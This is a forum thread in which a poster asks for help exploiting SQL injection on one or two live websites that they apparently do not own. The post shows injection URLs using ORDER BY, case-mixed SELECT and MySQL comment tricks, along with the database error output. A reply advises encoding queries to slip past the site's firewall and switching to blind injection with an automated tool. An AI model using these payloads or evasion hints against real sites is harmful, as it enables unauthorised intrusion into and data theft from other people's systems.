Hi. I am stuck here..

I found a website with string based injection.
But whenever I add ' it gets replaced with \'

Code:
http://www.site.com/event.php?id=-8'+order+by+10-- -


I get following error

Code:
Erro MySQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 10-- -' at line 1



I found two sites, they are on same server, 2nd one isn't string based. Below it is..


It's adding single quote ' in front of Select statement

Code:
http://www.site.com/event.php?id=8+sEleCT+1,2,3--


result is

Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sEleCT 1,2,3--' at line 1SELECT * FROM ibex_events WHERE id=4 sEleCT 1,2,3--


I tried comment execution, but still it's filtering /*! part and adding '.

Code:
http://www.site.com/event.php?id=8+/*!sEleCT*/+1,2,3--


result is

Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sEleCT*/ 1,2,3--' at line 1SELECT * FROM ibex_events WHERE id=4 /*!sEleCT*/ 1,2,3--



Also it's effectively filtering Union and throwing Internal Server Error page.

Can anyone help me with this? At least some hints..


Thanks in advance. Very Happy

if you want to avoid a firewall, I recommend you use a encoded string for you query's, is only one idea Smile

one good option when bloking with internal errors, is use inference (BLIND SQL) for example, SQLiX available on :

https://www.owasp.org/index.php/Category:OWASP_SQLiX_Project

working with these tecniques.
